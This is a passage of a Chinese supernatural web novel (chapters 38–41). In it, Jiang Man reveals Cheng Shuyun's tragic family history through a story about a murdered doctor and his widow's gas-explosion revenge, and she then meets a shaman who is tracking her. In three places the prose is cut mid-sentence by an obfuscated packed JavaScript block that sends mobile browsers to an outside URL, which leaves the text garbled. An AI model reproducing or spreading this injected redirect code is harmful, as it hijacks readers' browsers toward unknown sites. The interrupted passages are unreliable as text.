姜满点点头,面色如常地拿起筷子,夹了一小团米饭到嘴里,然后叹息道:“其实,她应该想办法求救的,可以找老师,也可以找警察,甚至可以找你啊!” 她指向薄临,然后又低下头用筷子轻拨着米饭,“不过,这姑娘年纪太小,经历这么多事,心性自然不同于常人,我们谁也没资格换位处之,如果,她能活下去,也许长到像姐姐你这个年纪,她就会求救,会想办法解决所有的问题了,姐姐,你觉得呢?” 桌上除阿兹日拉外,此时都察觉到了不对劲,今天的姜满,话未免多得有些不正常。 程书韫微微蹙眉,想了想,“我不知道,但是,人无论在什么年纪,都无法保证能解决所有问题,而且,成年人……也许更加无法求救。”说完,她缓缓起身,“我吃饱了,这里面冷气太足,吹得我头疼,我出去散散步。” 姜满什么都没说,神色自若,夹菜吃饭。 张云汉收回目送程书韫出门去院子的视线,看向姜满,“大长老,你这是怎么了?问书韫这些干什么?” 姜满无奈地看着他摇摇头,“张云汉,你真的喜欢她吗?” “啊?”张云汉的脸色有些泛红,“我、我……” 薄月略显吃惊地看向张云汉,然后八卦地问道:“你喜欢那个姐姐啊?你喜欢她什么?为什么喜欢她啊?” 姜满起身夹了块肉菜放进阿兹日拉碗里,口中淡淡道:“他喜欢人家温婉的气质,喜欢人家长得好看。” “我、我不是!书韫她很善良的!”张云汉涨红了脖子,急于争辩,话语却很单薄。 姜满又坐了下来,“那你真的了解她吗?” 张云汉皱起眉头,“什么意思?” “先吃饭,吃完告诉你。” 38. 第一座山(38) 姜满觉得,有些事她不知道也就算了,要怪就只能怪薄临给了她那个文件袋,如果知道了却不管,那她和当初那些冷眼旁观姚雪菲悲剧的人,有什么区别? 但其实,她很清楚,她在意的并不是这些,她在意的是,这件事不仅涉及到张云汉,更重要的,是还能给她带来一些“收获”。 只不过,此类事看多了,那些情绪压抑在心里,她难免感觉到自己的戾气越来越重,所以她一向不喜欢掺和别人的事,可惜,她无法随心所欲…… 或许没有[空]的束缚,她的戾气也不至如此,连区区超度,都要假手于人。 此刻,张云汉正坐在姜满房间的小沙发上,看着姜满给他的那份文件。 这是一份很厚重的文件,记录了程书韫的资料,张云汉一页一页的翻着,脸色越来越难看,他的手开始有些颤抖,随即,他合上了文件,不打算再看下去了。 事实上,后面很多页都没有看下去的必要,正如初翻这份文件的姜满,那时也没有看完。 张云汉眼眶发热,不知是生气,还是不忍,他把文件重重拍在桌上,抬起头怒道:“大长老!我真没想到你是这样的人!为什么调查她?你早就知道了对不对?就因为这个,你就怀疑她?她已经够可怜了!你给我看这些做什么?本来就不是她的错!” 姜满眉头微蹙,有些不悦,深吸一口气道:“我不需要怀疑她,给你看,是因为我要帮她。” 张云汉一愣,“帮、帮她?” 他恍然回神,顿觉自己方才失礼,有些心虚地咽了咽口水。 “我给了她很多次主动开口的机会,她并没有要我帮忙的打算,所以,需要你去提。” “我?” 姜满看向窗外,“接你电话的那个‘疯子’应该就是这叠资料里某一页的人,我猜,当时那个人抢走电话,是真的想要五百万,但应该是程书韫和他说了什么,才有了后来在中央商场,你接到的那个是‘误会’的解释。” “您是说,那个人跟到了麓川?一路尾随我们?” 姜满缓缓摇头,“没有人能尾随我们,或许那个人在程书韫身上装了定位之类的工具,谁知道呢?后来我们到医院的时候,那个人应该是和程书韫发生肢体冲突,用绳子勒了她的脖子,于是,才有了姚雪菲附身李妆娇,用绳子勒程书韫的那一幕。” 说着,她看向张云汉,“她,或者那个人,不想让我们知道,但是,她脖子上的勒痕,有问题。” 张云汉低头又翻起了那叠文件,“那个人,会是谁呢?” 姜满挑挑眉,“是个玄人,还是程书韫道门的前辈,你可以去问问看。” 张云汉手中这些资料里,玄人可不多,他翻到了第九页,上面有一张中年男人的照片,约莫五六十岁,打扮很是寻常,身形微胖,圆脸无须,戴着一副圆形黑框眼镜,书生气很重,看起来像个年长的知识分子。 “葵山道长老,程书韫的教习师兄,程良?” “去和她谈谈吧,记得说话前先动动脑子,让你去就是不想让她难堪,。” 姜满低头摆弄起手机,接着,随口道: “对了,有件事要提醒你一下,别把我想的太好,也别试探我的底线,刚刚你那个莫名其妙的脾气,我只当是被蚊子咬了,但无论是谁,要是让我觉得烦了……你知道,我四十年前是因为什么事入狱的。” 她语气平淡,张云汉却觉得浑身上下都起了一层鸡皮疙瘩,“我、我错了。” 说着,他回头看了一眼门口,压低声音道:“大长老,您别怪我多嘴,我怕您关心则乱,你打算一直让那个灵……就这么附在阿兹日拉身上?而且您不是不知道,怨灵怎么可能完全操控——” “我心里有数,这件事不用你管。”姜满打断了他,并不想继续这个话题。 “好、好!我不说了,您好好休息!那我……先去找书韫了,还有,多谢您愿意帮书韫!您其实……不必装成恶人的。”说罢,张云汉抿了抿嘴,转身快步离开了房间。 姜满看着他离开的方向,心里觉得有些好笑。 她装成恶人?除了她的家人,这世上所有的人或事,如果对她没用,恶业也好,罪孽也罢,她根本不在乎。 所以,对于程书韫,姜满更想知道,她到底养了几个怨灵。 此刻,阿卓就在这栋房子里,姜满早在去麓川前就在薄家庄园设下了阵法,她不用再担心阿卓发生什么意外。 透过阳台窗户,她看见张云汉和程书韫在喝茶聊天,薄临和薄月不知去哪了,不过这是这对兄妹家,想必总有他们自己的事做。 难得清闲的下午,她住的这间房间密封性还不错,冷气开得很足,隔着玻璃,什么蚊虫都不会飞进来。 姜满悠闲地靠在沙发上,打开了手机看书软件,晒着太阳,看着书,吃着阿卓给她剥的核桃。 这世界变得还算不错,就这么一块长方形的小机器,她几乎可以在里面看到任何想看的书,还可以用它记录下任何想记录的事,不过,她并没有这么做,因为她了解过,这样并不安全,最安全的地方,还是自己的脑子。 现在唯一不合她心意的,就是右肩的这个印记了,好像一根刺扎在肉里,不算疼,但又弄不掉它,颇有些碍眼。 好在,姜满从不是纠结的性子,解决不了,就先不解决。 就这样,一连过去了几天。 张云汉和程书韫那边却没什么动静。 附身阿兹日拉的满文卓,明里暗里催促了姜满几次,因为她答应了找到张信德就和他回家,被姜满敷衍过去了。 薄临告诉姜满,李妆娇的整容手术已经安排好了,完全恢复之前,尽量保证她的不清醒,在她出院前,会给她安排一间有久住痕迹的出租屋,她的身份、证件等等也会安排妥当,确保无论她怎么想,她周围一切人和物都会表明她就是姚雪菲,但也并不是天衣无缝,等到时日久了,也许她能发现蛛丝马迹,毕竟,人是不可控因素。 事实再次证明,薄临的确是聪明人,这正是姜满要的效果。 而薄临的妹妹薄月,声称那天在麓川医院看见姜满徒手挡车救了她哥哥,是她全家的恩人,所以一改那副看姜满不爽的模样,几乎天天来找姜满看电视剧,薄月管这种行为叫做强行安利。 除几人外,这几天还发生了一件特别的事,庄园路的保安告诉薄临,他们回来后的第二天晚上,有个年轻女孩没事就在附近转悠,年纪大约二十出头,穿着时髦,长得也挺漂亮的。 薄临问过姜满后,表示只要那个女孩没有什么特别的举动,都不用理会。 这天傍晚,别墅里的众人围坐在餐桌旁准备吃晚饭。 姜满放下筷子,看向薄月,“薄月,这几天陪你看完一部电视剧,你听我讲个故事吧?是我前段时间无意中看到的,是医生的故事。” 薄月眨眨眼,“医生?和我们家关系最好的医生就是孔青了,我想听,姐姐你说吧,这医生也是社恐吗?” 姜满笑了笑,扫视一圈众人神情,目光在程书韫身上停留了片刻,缓缓道:“他不是社恐,他是一个非常好的医生,认真负责地对待每一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14948360|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病患,在遇到家庭条件困难的病人,他还会想办法帮忙,甚至不惜自掏腰包。” 说到这儿,程书韫拿起筷子的手微微一顿,但很快又继续吃饭了。 姜满继续说道:“这个医生医术很好,人也很好,他有一个幸福的家,妻子很爱他,后来,怀了孩子,但是,故事总是这样,‘幸福的生活下去’,那是童话的结局,但我说的,是故事的开始,所以转折来了。” 薄月好奇地应道:“嗯,他家发生什么事了?” “他家没发生什么事,他出事了。这世上什么人都有,好人、坏人、蠢人,还有贪婪凶狠又有点脑子的人。这个医生很不幸,遇到了这种人,这个人的父亲因为在家里晕倒来到了医院,医生当天在急诊当值,认真负责地对这个病人进行抢救,人救回来了,但具体病症需要再详细排查,那时的医疗设施还没有现在这么发达,医生建议家属让病人住院检查,但家属只让他的父亲住了两天,就不顾医生劝阻,回家去了。 “于是,过了一个星期不到,这位父亲再次晕倒在家门口,被邻居送到医院,巧合的是,当天又是这位医生在急诊,于是,因为病情拖延多日,没有得到及时救治,这位病人再没有睁开眼。” “然后呢?”薄月显然觉得姜满的故事说的很好,她被吸引了。 姜满顿了顿,拿起桌上盛着果汁的玻璃杯,轻抿一口,继续说道: “然后,有一天,病人家属醉醺醺地带着刀找到了医院,嗯,家里没人带孩子,所以他还带着他十二岁的儿子,这位家属找医院讨说法,要医院赔钱,他认为是误诊害死了他的父亲,医院当然不会由着他闹事,于是保安跑了过来,工作人员也报了警,后来,这个家属见势不妙,恼羞成怒,把怒火发泄在了那个医生身上。” “他伤了那个医生?” 姜满摇摇头,“他把医生拖进了厕所,他的儿子也跟了进去,在门口守着,医生严肃地告诉他,这是犯罪,劝他不要做傻事,谁料想这家属心知自己此时哪怕什么都不做,都要进局子了,于是,趁着酒醉上脑,他也不知被医生哪句话激怒了,他用刀划破了医生的喉管。” “啊?”薄月惊呼一声,“他怎么敢……” “是啊,他是怕坐牢的,于是他看着倒在地上因为呛血而痛苦挣扎、逐渐失去生机的医生,他害怕了,他没有想要救一救自己伤害的人,他惊惶不安,环顾四周,看见了他的儿子,他立刻想到了办法,他大步过去,把吓坏的儿子拉到面前,一字一顿地告诉他:‘是因为这个医生抓住了你,恐吓你,所以,你不小心杀了他!记住了!一定牢牢记住!不然你刚没了爷爷,马上也要没有爸爸了!’,小孩吓呆了,这位家属把凶器的手柄放进儿子手里,用力包住儿子的手在上面按了按,随即松开了手,小孩因为害怕,丢掉了那把刀,但凶器上已经留下了小孩的指纹。” 薄月听得目瞪口呆,心里生出一股怒火,“然后呢?那些人不会真的相信人是小孩杀的吧?” 姜满叹了口气,“那个时候,没有那么好的取证条件,唯一的证据就是那把刀,上面有家属儿子的指纹,也有那个家属的指纹,但是,是被他儿子指纹所覆盖的,即便所有人都看到是他拿着刀进的医院,可他说,进了厕所,他就把刀给儿子保管了。加上孩子因为害怕失去爸爸,一口咬定的供词,以及这位家属的证词……” 薄月一掌拍在桌上,怒道:“这小孩是未成年,这个家属就是仗着他小孩未成年!后来呢?这故事不可能到这儿就结束了吧?” 姜满笑了笑,“没有结束,这只是开端。” 39. 第一座山(39) 早已坐立难安的张云汉起身,夹了一块烤排骨放进姜满碗里,“那个,大、大长老,先吃饭吧?你尝尝这个!这是阿卓做的,他说你喜欢吃!” 如今大家都改了口,跟姜满一样,叫阿兹日拉“阿卓”,这几天阿卓都有下厨,张云汉看得出来,大长老很喜欢阿卓做的菜。 姜满看了他一眼,然后嫌弃地收回目光。 她不是不知道自己这样说出来,程书韫或许会更难接受,但她已经给这小子几天时间了,一点动静也没有,她给的耐心已经够多了,还不如用她自己的办法。 薄月似乎对这个故事产生了极大的兴趣,并没有理会张云汉,好奇地追问姜满:“这才只是开端?那然后呢?翻案了吗?” 此刻餐桌上知情的还有薄临,他明白姜满需要薄月这个听众,但程书韫一定不希望更多人知道她的事,所以,他站了起来,“阿卓,这几天你做的菜很好吃,我妹妹也喜欢,能否邀请你去我书房,我记录一下菜谱。” 满文卓并不蠢,他看了看众人各种反应,随即点头起身。 薄临和阿卓离开后,姜满又喝了一口果汁,继续说起那个故事: “那位遭遇不幸的好医生还有一个怀孕二十三周的妻子,他的妻子很坚强,在得知丈夫死讯的时候,她强迫自己冷静、镇定,不能太过伤心,也许因为,她的肚子里还有丈夫的血脉,对丈夫和孩子的爱让她更加坚强,也让她更加理智。她去医院收拾丈夫遗物时,听到了事情的完整经过,其实,对于这场凶案的推测,当时在场的所有人的答案都是一样的,真凶是谁,不在证据,在人心,但很多时候,现实不看人心,更不看推测。” 听到这里,程书韫的脸色不太好看,她吃饭的动作明显变得不太自然,握住筷子的手有些过于用力,使得手有些发抖。 薄月继续追问:“那这案子后来怎么判的?那个小孩被抓了?” 姜满轻轻叹了口气,缓缓摇头,“那个家属前妻的父亲,也就是小孩的外公在市局有重要职位,这位外公自然不可能看着自己的亲外孙背上案底,于是,这件事被判作正当防卫过失致人死亡,且因为凶手是未成年,就不了了之了。 “医生的家里人怕医生的妻子知道这些后,受到刺激,于是编了谎话瞒着她,直到三个多月后,医生的孩子出生——是个漂亮的女孩,她住在丈夫生前就职的医院,虽不在一个科室,但这起案子在医院引起不小的轰动,所以大家也都知道,对这可怜的母女也格外照顾,然后小护士聊天被医生的妻子听到了,除了这个不了了之的判决,还有那家人幸福的现状。 “医生的妻子什么都没说,也什么都没做,但她打听到了那个家属的现住址,这个男人两年前离异,孩子判给了爸爸,母亲改嫁了,现在他和孩子一起,住在他父亲的老房子里。 “后来,医生的妻子出院后,精神状态开始变得很差,甚至对孩子不闻不问,于是,家里人把孩子送到妻子已婚的姐姐那儿,姐姐家有个两岁的男孩,家里的一应孩子用的东西都没丢,家庭条件相对不错,所以照顾这个小婴儿也比较方便。” 薄月追问,“然后呢?这个医生的妻子去杀了那个凶手?” 姜满摇头,“她花光积蓄,瞒着所有人,买下了那个家属楼上的房子,然后在丈夫的墓碑前留下遗书,来到了那个房子里,透过窗户确定了家属和他儿子都回家后,在一个宁静的夜里,凌晨两点四十分,她丈夫的死亡时间,她拧开了好几个月准备的、提前放在那个房子里的数个煤气罐,在地上倒满了油,然后……” “啊?”薄月听得目瞪口呆,“她……” 程书韫忽然重重放下了筷子,看向姜满,她的眼睛有些充血,好像很多天没有睡好,眼白上有少许红血丝,看起来十分疲惫。 “别说了。” 她的声音并不大,却像是耗尽了她所有的力气。 也不知道是真的完全没有察觉,还是故意的,薄月有些不解地看向程书韫,“为什么?我觉得,虽然医生的妻子行为有些过激,但还挺爽的,至少她报仇成功了。” 程书韫眉头紧锁,看着薄月,咬了咬嘴唇,却什么都没说。 “嗯……”姜满笑了起来,“也可以算报仇成功吧,不过,那天那个真凶带回家的,不是他儿子,倒是有点可惜,可惜那位妻子不认得凶手的儿子长什么样。” “啊?那死的是谁?后来……”薄月疑惑地看看低着头不做声的张云汉,又看看姜满,似乎刚察觉到气氛有些古怪。 “她在倒满油的房间拧开煤气罐,然后,等到气味弥漫到让她神志不清的时候,点了火,于是,那一整栋楼里,当天在家的,无一幸免,包括她自己。” 姜满没有回答薄月的问题,看向程书韫,继续说道:“也许,她只是担心炸不死楼下那对父子,所以才想尽办法准备了好几个煤气罐;她觉得地板一定会碎开,所以浇了满地的油,她可能在想,炸不死他们,也要烧死他们。不过,她也有可能不在乎是否会害了其他无辜的人,她的丈夫,她的孩子、家人,还有她自己,何尝不无辜?” 程书韫倏地站了起来,迎着姜满的目光,“别说了!” 张云汉也站了起来,看向姜满,有些无奈道:“大长老,我知道您是出于好意,可是,您这样说出来,实在是……” 说着,他满是歉意地对程书韫道:“你别介意,大长老她就是这个直来直去的性子,她不是故意要这样的,实在是我太……大长老只是太想帮你了。” 出于好意?太想帮? 姜满轻笑一声,“程书韫,你真的觉得,跟着我们,就能解决你的麻烦?你放心,我对‘多管闲事’没什么兴趣,也不打算‘乐于助人’,所以,我想和你做一笔交易:你把所有的怨灵,都交给我,我帮你解决麻烦。” 薄月一脸懵,“什、什么意思?你们在说什么?怨灵?这是鬼故事?和这个程姐姐有关的鬼故事?” 然而此刻,并没有人搭理她。 张云汉也皱起了眉头,他不知道大长老所说的怨灵是什么。 程书韫意味深长的看着姜满,“解决我的麻烦?你打算怎么做?让薄临给你钱吗?没用的。” 姜满慢悠悠地夹起碗里的排骨,轻轻撕咬了一块上面的肉,放在口中咀嚼,咽下之后,喝了一口果汁,“用钱?”她摇摇头,看向程书韫,“我当然有我的办法,不然怎么和你交易?” 程书韫皱起眉头,“你真的……什么都知道吗?” “我没说我什么都知道啊,我只是讲了个故事,故事还没讲完,然后,你不让我说了。” 程书韫没有说话,她重新坐了下来。 “我要想一想。” 姜满点头,“好。” 薄月听的云里雾里,追问道:“你不说了?故事还没说完呢!鬼呢?谁变成鬼了?是不是那些被炸死的人都成了鬼,然后冤有头债有主,由医生妻子领头,去找那对父子报仇,来一场鬼魂大战!” 姜满伸筷子夹菜的手顿住了,“你想象力不错。” “这样才大快人心啊!死了也不能放过坏人!” 姜满歪头看向她,“大快人心?人心知道的可不是我和你说的那些,人心只知道:一个女人的医生丈夫因为治死了病人,后还恐吓那个病人的孙子,被孙子正当防卫杀了,然后,这个女人怀恨在心,于是拉了一楼的人,给她和她丈夫陪葬。死人爽不爽我不知道,但还活着的人肯定不太爽。” “活着的人不爽?你是说……不明真相的群众?还有谁活着?还有谁不爽?还是说,那个医生的女儿?她不是让姨妈收养了吗?” 姜满嚼着菜,已经没有兴趣再说下去了,敷衍道:“不知道。” 薄月眨眨眼,看了看桌上几人,似是自言自语,又似是在问程书韫和张云汉,“她说的是谁啊?” 程书韫垂下眼帘,端起果汁,“被炸死、烧死的那些人,还有亲人、朋友。” 薄月看向程书韫,“然后呢?” “然后……那个医生的孩子成了那些人的报复对象,一辈子活在阴影里,连累了姨妈一家,苟延残喘的长大,后来,被迫嫁给了……那个凶手的儿子。” 薄月惊愕地看向面色平静的程书韫,“嫁给——怎么会这样!” - 薄临带着满文卓走进了书房,如今的“阿兹日拉”理了寸头,穿着休闲装,行走坐卧都是笔直的,和那时在麓川落洞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957343|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 村见到的那个不修边幅的小伙子,判若两人,事实上,他除了皮相还是那个阿兹日拉,气质打扮,包括内里,已经完全变了。 当初回了一趟拉尔塔格金山,薄临无意中发现了这个一心要找姜满的怨灵,既然是送上门的棋子,又岂有不用的道理? 他当然知道这个怨灵是谁,对于姜满这一次苏醒后的一切,他几乎毫无遗漏,他知道这个怨灵对姜满很重要,但怨灵被人掳走,以及后面的事,的确不在他意料之中,他也的确低估了阿卓对现在的姜满的意义。 “你在写什么?不是要记菜谱吗?我什么都还没说。” 进屋后,满文卓好奇地打量着房间,然后发现薄临坐了下来,从抽屉拿出一个小册子,在上面写着什么。 他从未进过这间书房,好奇是难免的,事实上,这栋房子真的太大了,完全超出了他对家的认知,很多地方,他都还没进过。 薄临没有抬头,“我在准备恩、姜满需要的东西。” 说着,他似乎写完了,揭下那页长条状的纸,然后看向满文卓,脸上带着一贯礼貌的笑:“那么,阿卓,你需要什么呢?” 满文卓愣了愣,“我需要什么?我没什么需要的。” “这里,住的惯吗?” 满文卓不知道他想说什么,“嗯”了一声。 薄临依然笑着,却盯着满文卓的眼睛,“你应该住的惯,不仅如此,不知道你还记不记得,你在我身上还住过几个月,不过那时,我和你现在住的这个身体反应好像不太一样,我并没有变成你。” 满文卓瞳孔微微收缩,表情却没有变化。 沉默片刻,他面无表情地回答:“是吗?我不记得了。” 这些日子,在这个家里,好像形成了一种莫名的默契,没有人去提起满文卓这只怨灵占用了阿兹日拉身体的事,也没有人关心原本的阿兹日拉怎么样了。 或许张云汉的性格会让他去管这件事,但不知是有意为之还是巧合使然,张云汉在姜满的指点下,满心都是程书韫的事。 薄临低下头收起那张长方形纸条,声音温和,道:“记不记得都没关系,她是我的恩人,她想让你代替这具身体原本的主人,我不会有意见,她怎么做,我都支持。” 满文卓微眯起双眼,端详着薄临,问道:“你……喜欢她?” 薄临轻笑着抬眼,“我喜欢很多人。” 满文卓又看了他许久,“你不记菜谱,我就先回去了。”他转过身去准备离开,走到书房门口,微微侧脸,没有回头,道:“她过段时间就会跟我回西疆的,她会……嫁给我。” 满文卓离开后,薄临看着他离去的方向,看了很久,然后缓缓起身,走到一副壁挂画前,拿起了卡在下面的一张泛黄的老照片。 这上面是两个人,穿得并不厚实,站在冰川雪地里,男人搂着女人的肩膀看着镜头,女人侧着脸,望着身旁的男人,那神情,有眷恋、有哀伤,还有深深的痛苦与挣扎。 薄临轻轻抚摸着那女人留在相片上的模样,心里漾起一阵莫名的烦躁。 他很少会烦躁,几乎,从不。 书房的洗手间的窗户传来声响,薄临抬了抬手,书房门瞬间上了锁,然后,洗手间门打开,里面的孔青看向薄临,“山主,该换药了。” “嗯。”薄临放回照片,朝洗手间走去。 孔青在一旁的台面上放下医用箱,一件件取出消毒缝合的用具。 对着镜子,薄临解开上衣衬衫的纽扣,露出并不如外表一样瘦弱,反倒十分漂亮的身材,以及肩膀的伤。 是一道缝着线的伤口。 他接过孔青递来的剪刀,剪开缝合线,然后,缓缓把手伸进血肉中,他双眼轻轻闭起,眉头微动,随着一声低哑的轻哼,他取出一截树枝,丢进铁盘里。 “直接缝合即可,不用再换树枝进去了。” 孔青眉头紧皱,自从那次车祸后,一次又一次的,他已经替他的山主疼得不行了,可他也知道,如果不取出来换新的,很快,这截树枝就会被山主的身体养成不知道是什么的怪东西。 想到这儿,他心里对姜满的厌恶又加深了几分,然后赶紧上前,替薄临处理伤口。 40. 第一座山(40) 是夜,姜满一言不发,静静看着几个电脑屏幕上显现的监控录像,这些是位于庄园路附近,来自不同角度的监控摄像,还有,薄家私人医院附近的监控录像。 “小薄总你看,就是这个女人,我们发现,她之前在医院附近也出现过。” 庄园路的安保人员在一旁解说着。 薄临点点头,“嗯,辛苦了,你先回去吧。” “好的,小薄总。” 人离开后,薄临递给姜满一张纸,姜满接过来看了一眼,疑惑道:“这是什么?现金支票?五百万?” “要用的时候给我打个电话,我会提前给你准备好,以个人名义取钱有限额,不要直接给别人。” “我不需要。”姜满还给了他,“你给我的钱够用了,不过,现在花起钱来倒挺像你妹妹玩的游戏,只有手机屏幕上的数字。” 薄临笑了笑,回应她后面说的话,随即又问道:“真的不用?” “嗯。” “那你需要什么?” “我需要什么?我需要你们不给我找麻烦。”姜满看向他,“你给的已经够多了,我时常想,该怎么还你。” 薄临眼睛微微弯起,“不用还,我的命还算值钱,能用钱解决的对我来说,都不值一提。” 说着,他垂下眼帘,笑意还在脸上,眼神却有些难以捉摸,又道:“如果恩人执意要还,我有个拙见。” “说说看。”姜满看着他的脸,试图看出他一直以来的企图。 “恩人不如……以身相许,那么,我所有的钱都是你的。”薄临微微抬眼看她。 “无聊。” “恩人不愿意?是……有钟意的人了?还是,有要嫁的人?” “我对这些没兴趣,你要是想结婚成家,别把心思放在我身上。”她坐直了一些,又正色道:“不过,你和张云汉相处的怎么样?” “张云汉?”薄临有些吃惊,“你钟意的人……是张云汉?” “当然不是。”姜满打量着他的身体,目光在他肩膀伤处顿了顿,随即看向他的脸,“你身子虚……我会帮你想办法的,但你体魄不错,上次背你就感觉到了,你家应该有那些什么健身器材吧?你要是和张云汉关系还不错,烦你费点心带着他也练练。” 薄临沉默片刻,问道:“你很关心他。” 姜满的视线重新回到几台显示屏上,否认道:“我是觉得他细胳膊细腿,跟着我可不轻松,他需要强健体魄,但如果你不愿意的话,这件事就当我没说。” “好,我答应你。” 姜满眉目舒展,而后靠在椅背上,目光指向显示屏上的姑娘,“那么接下来……苍蝇在附近转了太久,再不处理,别人该把你家,当成厕所了。” 薄临低头轻笑,随后问道:“需要我做什么吗?” “加强你这边的安保警戒,别让闲杂人等跟先前的李妆娇似的,随便混进来,我马上出去一趟,我不在,你们谁都别离开这里。” “你要出去?你一个人?” “嗯。” 姜满很清楚,这个在附近徘徊的女人,就是先前在医院偷听的人。后来几人一起离开医院去见程书韫,那时她的本意是想给阿卓寻一个更适宜养灵的身体,却在最后关头,让人钻了空子,抢走了阿卓。 能在她眼皮子底下抢灵,这个女人有点意思,如今又跑到她面前晃悠,她不得不防。 阿卓虽然在她身边很安全,一切看似毫无破绽,但她并不清楚敌人底细。兵家有言:备周则意怠,常见则不疑。她既不能“怠”,也不能“不疑”,不如主动出击。 况且,也不仅仅是为了这件事,有个问题,她还需要亲自去确认一下。 二人走出这间暗藏玄机的客房,薄临看向走廊尽头的书房,问道:“真的没兴趣看看那张照片?或许你会改主意,对我感兴趣呢?” 姜满看了他一眼,“怎么?我以前和你祖宗是情侣?” 薄临笑了,“你怎么会这么想?” “你不是说过,你和你祖宗很像吗?我随便猜的。”她本就是信口胡言,自然没放在心上,“不早了,你早点休息,少想些有的没的。” 走到房子外面,此刻,整个薄家静悄悄的,几个房间还亮着灯,不知今夜谁人安枕谁人无眠。 二楼窗口,程书韫看着姜满的身影,神情有些复杂,最终还是悄悄下了楼。 姜满简单收拾了一下,离开薄家,乘着夜色走在夹道雪松的蛇形林荫道上,她没有开车,选择了步行。 她不喜欢走路,以前,在拉尔塔格金山,她每天都有走不完的路,和阿姐满文静一样,她也讨厌走路,不过,她此番出来是“愿者上钩”,自然要有“愿者”的样子。 何况……她的余光有意无意往身后瞥了一眼。 有尾巴跟上来了。 走出林荫道,姜满拿出手机,按下一个号码,响了几声后,电话接通。 “查清楚了吗?” 电话那头传来一个男人的声音,“嗯,那个人身上的确有您说的印记,病历登记在檀州市四院。” 姜满虚眯起双眼,应了一声挂断电话。 果然如她所料,这个碧虚当真是手眼通天,有空子就钻,什么人都收,倒叫人看不出目的了,看来,她是绕不开这个地方了,这两天要找个机会去看看。 走到马路边,姜满停了下来,现在是晚上九点多,这地方位置偏,路上没什么车,想打车看来只能用张云汉说的那个打车软件了。 她正低头摆弄着手机,随着余光一瞥,手上的动作顿住了。 一只小虫,准确的来说,是一只死蜘蛛,爬到了她的鞋子上。 姜满挪开手机,饶有兴致地打量着这只尾端连着蛛丝,且会动的蜘蛛尸体。 “能聊聊吗?”蜘蛛身上传出声音。 这声音耳熟得很,非男非女,正是那日在超度完戴阿福后,抢走阿卓的那个声音。 姜满笑了笑,“你要是打算用这副德行和我聊,那我可没什么兴趣。” “可我若现身,谁保我无恙?姜长老,口说无凭,现在的我无法相信任何人。” 姜满微微挑眉,“谁在乎你信不信?你搞清楚,是你,想找我聊。” “我可以告诉你你想知道的一切!” “我想知道的?”姜满不屑地拿出手机,继续研究那个打车软件,“我什么都不想知道。” “姜长老既然漏夜出门,难道不是想和我好好聊聊吗?” “很可惜,我是出来灭蝇的,但苍蝇没看到,看到个死蜘蛛,也就没什么我要做的事了。”姜满看着手机上的提示信息,显示车辆还有两分钟到达,她也没什么耐心和这只“苍蝇”周旋了。 “这不是死蜘蛛!这是我的尸傀,除了长得和我不一样,几乎可以代替我的一切,且没有任何气息。” “尸傀?”姜满似乎提起一点兴趣,“所以你就是用这个死蜘蛛,掳走我手上那只怨灵的?” “你——你知道我是谁?” “九黎寨的巫玄,不会无知到连监控是什么都不知道吧?” 姜满看见一辆白色的车朝她驶来,然后停在她面前。 她拉开后座车门,回过头看向那只会动的死蜘蛛,“今晚十二点前,你可以去第四人民医院找我,要还是这么个东西出现在我面前,我就,把它烧成灰。” 说罢,她坐进车里,关上车门。 檀州四院。 姜满在门口超市买了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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黎佳宁急了,“可是、可是您都不知道怎么救,就这样拒绝吗?您是玄人啊!我爸只是普通人,不该被卷进这些事里,您作为天一道大长老,有义务……况且,明明是你把他们招惹来,才害得九黎寨……” 姜满走出电梯,回头看着她笑道:“是啊,是我招惹来了这些人,害得你的九黎寨都没了,你应该恨我,怎么还来找我赔罪、求救呢?” 黎佳宁按住电梯门开门按钮,低下头,声音也低了下去,“是我用法器抢走了你手里的那只灵,引你来九黎寨,才会有后面的事……所以,我才是因。” “嗯,还算明理,那么,你觉得,我凭什么要帮你救人?” “因为!”电梯门已经发出来警示音,黎佳宁走了出来,“那些人盯你很久了!我知道一些事,可以和你交换!我们的敌人是一致的!” “敌人?”姜满微微皱眉,露出懵懂无知的神情,“你为什么会觉得,他们是我的敌人?他们,又是谁?” 黎佳宁压低声音,“您确定,要在这里说?” 此处安静无人,病区门没锁,但是关着;角落的窗户也紧闭着;窗户旁边拐角是弹簧自动开合的安全通道入口的木门;四周除了几扇电梯门,就是砖地砖墙,空旷密闭,但并不安全。 不过姜满耐心有限,她并不想给陌生人太多耐心,况且,这个陌生人还是抢走阿卓的人。 “姜长老,你身上也有一瓣菊花花瓣印记吧?我们巫玄向来对植物比较了解,这种菊花,叫做十丈垂帘,多年生草本植物,菊瓣是他们的标记,他们,也叫碧虚。”见姜满似乎有些不耐烦,黎佳宁伸手,撩起额前碎发,露出一根细长弯曲的浅黄色图案。 “如您所见,被标记后,就会被他们盯上,甚至被操控。” “十丈垂帘?不是珠帘?” 黎佳宁认真点头。 姜满看了看她,“去安全通道等着,我一会儿来找你。” 41. 第一座山(41) 